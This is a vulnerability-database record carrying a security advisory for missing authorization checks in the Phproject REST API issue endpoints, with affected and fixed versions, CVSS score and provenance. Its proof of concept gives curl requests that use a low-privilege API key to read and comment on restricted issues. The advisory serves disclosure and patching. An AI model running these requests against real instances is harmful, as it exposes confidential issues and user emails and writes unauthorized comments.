{"schema":"threatline.record/2","record":{"id":"GHSA-mpq9-v47x-3hw8","aliases":["GHSA-mpq9-v47x-3hw8"],"summary":"Missing Object-Level Authorization in Phproject REST API Issue Endpoints","details":"### Summary\r\n\r\nThe three API endpoints load an issue by id and check only that the row exists (`if ($issue->id)`), never calling `Model\\Issue::allowAccess()`. When an administrator has enabled `security.restrict_access` (which limits issue visibility to the owner, author, or group), any authenticated principal with a valid API key can therefore read the full contents and comments of any issue, including owner and author email addresses, and post comments to restricted issues. The same codebase enforces `allowAccess()` in the web UI issue view and in the sibling write endpoints `single_put` and `single_delete`, making this an inconsistent, missing authorization check at these specific call sites rather than intended behavior.\r\n\r\n### Details\r\n\r\n- `app/controller/api/issues.php`\r\n  - `single_get` (GET `/issues/@id.json`), approx. line 291\r\n  - `single_comments` (GET `/issues/@id/comments.json`), approx. line 324\r\n  - `single_comments_post` (POST `/issues/@id/comments.json`), approx. line 345\r\n- `app/model/issue.php` : `allowAccess()`, approx. line 605 (authorization routine that is not called by the endpoints above)\r\n- Reference enforcement that is present elsewhere: `app/controller/issues.php` (web UI, lines 217 and 436) and the sibling API methods `single_put` (line 255) and `single_delete` (line 313), all of which do call `allowAccess()`.\r\n\r\n### Proof of concept\r\n\r\nPreconditions: `security.restrict_access=1`; a confidential issue `#1` owned by user `alice`; a low privilege user `bob` in an unrelated group with his own API key.\r\n\r\n```\r\n# Denied in the web UI:\r\nGET /issues/1                         -> HTTP 404\r\n\r\n# Allowed through the API with bob's key:\r\ncurl \"$B/issues/1.json?key=$BOB_KEY\"\r\ncurl \"$B/issues/1/comments.json?key=$BOB_KEY\"\r\ncurl -X POST \"$B/issues/1/comments.json?key=$BOB_KEY\" --data-urlencode \"text=INJECTED-BY-BOB\"\r\n```\r\n\r\nConfirmed output:\r\n\r\n```\r\napi GET  /issues/1.json          -> HTTP 200  {\"issue\":{\"name\":\"CONFIDENTIAL: acquisition salary\r\n                                   figures\",\"description\":\"...secret-token=RS_9f13ac.\",\"owner\":\r\n                                   {\"username\":\"alice\",\"email\":\"alice@test.local\"}}}\r\napi GET  /issues/1/comments.json -> HTTP 200  [{\"text\":\"Internal comment: board approved 2026-10.\"}]\r\napi POST /issues/1/comments.json -> HTTP 200  {\"id\":2,\"issue_id\":1,\"user_id\":2(bob),\"text\":\"INJECTED-BY-BOB\"}\r\n```\r\n\r\nReproduced deterministically; the web UI returns HTTP 404 for the same user while the API returns HTTP 200.\r\n\r\n### Impact\r\n\r\nAny authenticated account or API key holder can defeat the `security.restrict_access` confidentiality control: full read of all restricted issues and their comments, including owner and author email addresses, plus unauthorized comment writes to restricted issues. API keys are long lived and per user, and no CSRF or user interaction is required. The read exposure affects every restricted issue in the instance, not only the attacker's own, and written comments persist on the victim issue.","categories":["Unclassified"],"product":"phproject","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/Alanaktion/phproject/security/advisories/GHSA-mpq9-v47x-3hw8","source_modified_at":"2026-10-02T18:57:28Z","fetched_at":"2026-10-23T21:10:45.942435Z","package":{"name":"phproject","ecosystem":null},"range":"<= 1.8.6"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/Alanaktion/phproject/security/advisories/GHSA-mpq9-v47x-3hw8","source_modified_at":"2026-10-02T18:57:28Z","fetched_at":"2026-10-23T21:10:45.942435Z","package":{"name":"phproject","ecosystem":null},"version":"1.8.7"}],"cvss":7.1,"severity":"High","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-02T18:57:28Z","modified_at":"2026-10-02T18:57:28Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/Alanaktion/phproject/security/advisories/GHSA-mpq9-v47x-3hw8","fetched_at":"2026-10-23T21:10:45.942435Z","source_modified_at":"2026-10-02T18:57:28Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-02T18:57:28Z","content_hash":"f17eec08aac617bbd4c07129494899387fa293b1be0429ffb01acfcfa39134ac"}}
